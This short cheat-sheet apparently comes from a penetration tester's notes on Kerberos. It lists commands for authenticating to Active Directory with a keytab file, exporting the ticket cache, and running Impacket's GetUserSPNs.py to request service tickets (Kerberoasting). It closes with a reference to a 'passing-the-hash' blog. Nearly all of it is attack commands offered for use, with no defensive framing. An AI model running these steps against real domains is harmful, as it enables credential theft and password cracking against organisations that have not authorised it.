Kerberos

Authenticate Utilizing a Keytab File

apt-get install heimdal-clients
#Set resolvr.conf to DC.
kinit -t krb5.keytab <USER>
klist -v
export KRB5CCNAME=/tmp/krb5cc_0

Utilize the newly authenticated Kerberos ticket

GetUserSPNs.py -k -no-pass -request -dc-ip 192.168.1.1 DOMAIN/USER

*NIX Kerberos + MS Active Directory fun and gamespassing-the-hash.blogspot.com